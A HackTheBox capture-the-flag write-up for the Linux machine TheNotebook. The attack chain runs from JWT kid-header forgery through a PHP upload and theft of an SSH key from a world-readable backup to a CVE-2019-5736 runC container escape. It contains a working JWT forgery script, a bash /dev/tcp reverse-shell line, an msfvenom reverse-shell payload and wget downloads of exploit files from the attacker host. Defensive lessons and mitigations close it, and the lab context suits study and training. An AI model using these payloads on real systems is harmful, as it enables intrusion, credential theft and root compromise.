HTB: TheNotebook Writeup
TheNotebook - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | TheNotebook |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 06 Mar 2021 |
| IP Address | 10.10.10.230 |
| Author | mostwanted002 |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
TheNotebook is a medium-difficulty Linux machine that demonstrates the critical security implications of insecure JSON Web Token (JWT) implementations. The initial attack vector exploits the kid (Key ID) parameter in JWT headers, which references an external URL for the signing key. By hosting a custom RSA private key and forging an admin-privileged JWT, we gain access to the administrative panel. File upload functionality allows PHP execution, resulting in a reverse shell as www-data. Lateral movement is achieved through a world-readable backup containing SSH private keys for the noah user. Finally, privilege escalation exploits CVE-2019-5736, a RunC container escape vulnerability in Docker, to achieve root access on the host system.
TL;DR: JWT kid parameter manipulation → Admin panel access → PHP file upload RCE → SSH key in backup → noah user → CVE-2019-5736 Docker/RunC escape → Root
Reconnaissance
Port Scanning
# Quick scan for open portsnmap -p- --min-rate=1000 -T4 10.10.10.230
# Detailed service enumeration on discovered portsnmap -sC -sV -p22,80,10010 10.10.10.230Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.14.0 (Ubuntu)|_http-title: The Notebook - Your Note Keeper10010/tcp open rxapi?Service Enumeration
SSH (Port 22):
- OpenSSH 7.6p1 on Ubuntu
- No immediate vulnerabilities, but potential target for credential-based access later
HTTP (Port 80):
- nginx 1.14.0 serving a custom web application called “The Notebook”
- Application features user registration, authentication, and note-taking functionality
- Navigation includes: Home, Register, Login, Notes sections
Port 10010:
- Service fingerprinting unclear; not immediately useful for initial access
Web Application Analysis
Browsing to http://10.10.10.230 reveals a note-keeping application with the following functionality:
- Registration system:
/registerallows creating new user accounts - Authentication: Session management via JWT tokens stored in cookies
- Notes management: Users can create and view personal notes at
/notes
After registering a test account and logging in, the session cookie (auth) contains a JWT token.
Vulnerability Assessment
- JWT Implementation Flaw: The
kid(Key ID) header parameter points to an external URL for the signing key, allowing attackers to host their own key and forge tokens - Insufficient Upload Validation: Admin panel allows file uploads with inadequate PHP extension filtering
- Backup Security: System backups may be stored in world-readable locations
- Outdated Docker: Docker version potentially vulnerable to known CVEs
Initial Foothold
JWT Token Analysis
Examining the authentication cookie reveals a JWT with three base64-encoded sections (header, payload, signature):
# Decode JWT header and payloadecho "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9" | base64 -d# Output: {"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}
echo "eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZW1haWwiOiJ0ZXN0QHRlc3QuY29tIiwiYWRtaW5fY2FwIjowfQ" | base64 -d# Output: {"username":"testuser","email":"test@test.com","admin_cap":0}Key observations:
- Algorithm: RS256 (RSA signature with SHA-256)
kidparameter: Points tohttp://localhost:7070/privKey.key- the application fetches the signing key from this URLadmin_capfield: Set to0(false) for regular users
JWT Forgery Attack (CVE-2020-XXXXX Class)
The kid parameter vulnerability allows us to:
- Generate our own RSA key pair
- Host the private key on an attacker-controlled server
- Forge a JWT with
admin_cap: 1 - Point the
kidparameter to our server - Sign the token with our private key
When the application validates our forged token, it will fetch our private key from the URL we control, successfully validating the signature.
Exploitation Script
#!/usr/bin/env python3# JWT forgery exploit for TheNotebook# Generates RSA keypair, creates admin token, and serves the key
import jwtfrom Crypto.PublicKey import RSAfrom http.server import SimpleHTTPRequestHandlerimport socketserver
# Generate 2048-bit RSA key pairkey = RSA.generate(2048)privkey = key.exportKey('PEM')
# HTTP server to serve our private keyclass KeyServerHandler(SimpleHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(privkey)
if __name__ == "__main__": # Forge admin JWT with our attacker IP in kid parameter token = jwt.encode( { "username": "attacker", "email": "attacker@htb.local", "admin_cap": 1 # Grant admin privileges }, privkey, algorithm="RS256", headers={"kid": "http://10.10.14.2:8000/privkey.key"} # Point to our server )
print(f"[+] Forged JWT token:\n{token}\n") print("[*] Starting HTTP server on port 8000...") print("[*] Set this token as your 'auth' cookie and reload the page")
# Serve the key on port 8000 handler = KeyServerHandler server = socketserver.TCPServer(("", 8000), handler) server.serve_forever()# Run the exploitpython3 jwt_forge.pyThe script outputs a forged JWT token. Using browser developer tools:
- Open Developer Console → Storage/Application → Cookies
- Modify the
authcookie value to the forged token - Reload the page
Upon reload, the application makes a request to our HTTP server for /privkey.key, validates the signature successfully, and grants administrative access. The Admin Panel link now appears in the navigation bar.
Admin Panel Access
With admin privileges, we discover:
Admin Panel Features:
/admin/viewnotes- View all users’ notes/admin/upload- File upload functionality
Interesting Notes from Admin User:
From viewing all notes, we discover system information:
“Need to fix config - PHP files are being executed in uploads directory”
“Backups are scheduled - home directory backup running regularly”
PHP File Upload RCE
The upload functionality at /admin/upload allows file uploads. Combined with the admin note about PHP execution, we can upload a PHP reverse shell.
<?php// Simple PHP reverse shellpassthru("/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.2/7777 0>&1'");?># Save as shell.phpcat > shell.php << 'EOF'<?php passthru("/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.2/7777 0>&1'") ?>EOF
# Start listenernc -lnvp 7777Upload shell.php through the admin panel. The application accepts the file and stores it with a randomized filename (e.g., <redacted>.php).
Trigger the shell:
# Request the uploaded PHP filecurl http://10.10.10.230/<redacted>.phpResult: Reverse shell received as www-data user.
# Upgrade to interactive TTYpython3 -c 'import pty; pty.spawn("/bin/bash")'export TERM=xterm# Press Ctrl+Zstty raw -echo; fgPrivilege Escalation
Lateral Movement: www-data → noah
Remembering the admin note about scheduled backups, we enumerate /var/backups:
www-data@thenotebook:/var/www/html$ ls -la /var/backupstotal 60drwxr-xr-x 2 root root 4096 Feb 12 2021 .drwxr-xr-x 14 root root 4096 Feb 12 2021 ..-rw-r--r-- 1 root root 40960 Feb 12 2021 apt.extended_states.0-rw-r--r-- 1 root root 4373 Feb 23 2021 home.tar.gz # World-readable backup!The home.tar.gz file is world-readable - a critical security misconfiguration.
# Create working directorymkdir /tmp/.workcd /tmp/.work
# Extract backuptar -xzf /var/backups/home.tar.gz
# Search for interesting filesfind . -type f 2>/dev/nullDiscovery:
./home/noah/.ssh/id_rsa # SSH private key found!./home/noah/.ssh/id_rsa.pub# Copy the private keycat ./home/noah/.ssh/id_rsaOn attacker machine:
# Save key locallycat > noah_id_rsa << 'EOF'-----BEGIN RSA PRIVATE KEY-----[key content]-----END RSA PRIVATE KEY-----EOF
# Set proper permissionschmod 600 noah_id_rsa
# SSH as noahssh -i noah_id_rsa noah@10.10.10.230Success: Shell as noah user obtained.
noah@thenotebook:~$ iduid=1000(noah) gid=1000(noah) groups=1000(noah)
noah@thenotebook:~$ cat user.txt<redacted>Privilege Escalation: noah → root
Sudo Enumeration
noah@thenotebook:~$ sudo -lMatching Defaults entries for noah on thenotebook: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/bin\:/bin\:/snap/bin
User noah may run the following commands on thenotebook: (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*Noah can execute Docker commands against the webapp-dev01 container as root without a password.
Docker Version Check
noah@thenotebook:~$ docker --versionDocker version 18.06.0-ce, build 0ffa825Vulnerability Identified: Docker 18.06.0-ce with RunC is vulnerable to CVE-2019-5736.
CVE-2019-5736: RunC Container Escape
CVE-2019-5736 is a critical vulnerability in RunC (the container runtime used by Docker) that allows a malicious container to overwrite the host’s RunC binary. When the host executes docker exec, the compromised RunC binary executes with root privileges on the host system, not just inside the container.
Attack Flow:
- Gain shell inside the container (we can via sudo)
- Replace
/bin/bashinside the container with a malicious script - Overwrite the host’s
/usr/bin/runcfrom inside the container - Trigger
docker execfrom the host (which uses RunC) - Malicious RunC executes on the host as root
Exploit Preparation
On attacker machine:
# Clone the public PoCgit clone https://github.com/Frichetten/CVE-2019-5736-PoCcd CVE-2019-5736-PoC
# Alternative: use the twistlock repository mentioned in many writeupsgit clone https://github.com/twistlock/RunC-CVE-2019-5736cd RunC-CVE-2019-5736/exec_POC/Generate malicious RunC payload:
# Create reverse shell payloadmsfvenom -p linux/x64/shell_reverse_tcp \ LHOST=10.10.14.2 \ LPORT=9001 \ -f elf -o malicious_runc
# Make executablechmod +x malicious_runc
# Start HTTP server to serve exploit filespython3 -m http.server 8080Exploit Execution
Terminal 1 - Get shell in container:
noah@thenotebook:~$ sudo docker exec -it webapp-dev01 /bin/bashroot@0f8212bb9c0d:/#Inside the container:
# Download exploit componentscd /tmpwget http://10.10.14.2:8080/malicious_runcwget http://10.10.14.2:8080/overwrite_runcwget http://10.10.14.2:8080/replace.shwget http://10.10.14.2:8080/bash_evil
# Set permissionschmod +x malicious_runc overwrite_runc replace.sh bash_evil
# Backup original bash and replace with triggermv /bin/bash /bin/bash_originalcp bash_evil /bin/bashchmod +x /bin/bash
# Run the exploit to overwrite host RunC/bin/bash_original /replace.shThe replace.sh script overwrites the host’s /usr/bin/runc by exploiting file descriptor manipulation and the /proc filesystem.
Terminal 2 - On attacker machine:
# Start listener for root shellnc -lnvp 9001Terminal 3 - As noah on target (SSH session):
# Trigger the malicious RunC on the hostnoah@thenotebook:~$ sudo docker exec -it webapp-dev01 /bin/bash_originalWhen this command executes, the host system calls the compromised /usr/bin/runc to create the exec process. Instead of executing normally, our malicious RunC payload triggers, sending a reverse shell with root privileges from the host back to our listener.
Terminal 2 - Reverse shell received:
listening on [any] 9001 ...connect to [10.10.14.2] from (UNKNOWN) [10.10.10.230] 52846# iduid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt<redacted>
# hostnamethenotebookRoot access achieved!
Why CVE-2019-5736 Works
RunC is responsible for spawning and managing containers. When docker exec is invoked:
- Docker daemon calls
/usr/bin/runc execto enter the container - RunC opens
/proc/self/exe(symlink to itself) to re-execute with container namespaces - The vulnerability: From inside the container, we can monitor for this file descriptor being opened
- When RunC opens
/proc/self/exe, we race to overwrite the actual RunC binary on the host via the/proc/PID/exesymlink - The next time RunC is executed (triggered by our second
docker exec), it runs our malicious code on the host as root
This is a time-of-check-time-of-use (TOCTOU) race condition that gives container root the ability to escape to host root.
Attack Chain Summary
Port Scan (80, 22, 10010) ↓Web App Registration → JWT Cookie Analysis ↓JWT kid Parameter Forgery (External Key URL) ↓Admin Panel Access (admin_cap: 1) ↓PHP File Upload → RCE as www-data ↓/var/backups/home.tar.gz (World-Readable) ↓SSH Private Key Extraction → noah User ↓sudo docker exec Permission ↓CVE-2019-5736 RunC Container Escape ↓Root Shell on HostTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
python3 | JWT forgery script, HTTP server for key hosting |
PyJWT | Python library for JWT token generation and signing |
PyCryptodome | RSA key pair generation |
curl | Triggering uploaded PHP shell |
nc (netcat) | Reverse shell listeners |
tar | Extracting backup archives |
msfvenom | Generating malicious RunC payload |
docker | Container interaction for privilege escalation |
| CVE-2019-5736 PoC | RunC container escape exploit |
Key Learnings
Techniques Practiced
- JWT Security Analysis: Understanding JWT structure (header, payload, signature) and identifying implementation flaws
- JWT Algorithm Confusion: Exploiting the
kid(Key ID) parameter to inject attacker-controlled signing keys - Token Forgery: Generating valid tokens with elevated privileges using custom cryptographic keys
- File Upload Exploitation: Bypassing upload restrictions to achieve remote code execution
- Linux Privilege Escalation: Enumerating backup files, SSH key extraction, and sudo abuse
- Container Escape Techniques: Exploiting RunC vulnerabilities to break out of Docker containers
- CVE-2019-5736 Exploitation: Understanding TOCTOU race conditions in container runtimes
Lessons Learned
-
JWT kid Parameter Validation: The
kidparameter should never point to external, attacker-controllable URLs. Applications must either use a whitelist of local key IDs or fetch keys only from trusted, authenticated sources. This vulnerability represents a fundamental flaw in trusting user-supplied key locations. -
Defense-in-Depth for File Uploads: Even with authentication and authorization controls, file upload functionality requires multiple layers of protection:
- Whitelist-based extension validation
- Content-type verification (magic byte checking)
- Separate storage domain/subdomain
- Disable script execution in upload directories (
.htaccess, nginx config) - Randomized filenames alone are insufficient
-
Backup File Permissions: System backups containing sensitive data (home directories, SSH keys, credentials) must never be world-readable. The
home.tar.gzfile should have been0600(root-only) permissions, not0644. -
Principle of Least Privilege with Docker: Allowing sudo access to
docker execeffectively grants root access. If Docker management is required, use:- Specific container names (not wildcards)
- Read-only containers where possible
- User namespaces to map container root to unprivileged host users
- gVisor or Kata Containers for stronger isolation
-
Container Runtime Security: CVE-2019-5736 demonstrates that containers are not security boundaries by themselves. Keep container runtimes (Docker, RunC, containerd) updated, and consider:
- Using SELinux/AppArmor mandatory access controls
- Disabling
docker execin production environments - Implementing runtime security monitoring (Falco, Sysdig)
- Regular vulnerability scanning of the container stack
-
Defense Against CVE-2019-5736: Mitigation strategies include:
- Updating to Docker 18.09.2+ (RunC 1.0-rc6+)
- Using rootless containers
- Blocking
ptracecapabilities in containers - Monitoring
/proc/self/exeaccess patterns
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup - TheNotebook (Document No D21.100.124) by polarbearer
- CVE-2019-5736: RunC Vulnerability Advisory - https://nvd.nist.gov/vuln/detail/CVE-2019-5736
- RFC 7515: JSON Web Signature (JWS) -
kidParameter Specification - Twistlock RunC CVE-2019-5736 Exploit - https://github.com/twistlock/RunC-CVE-2019-5736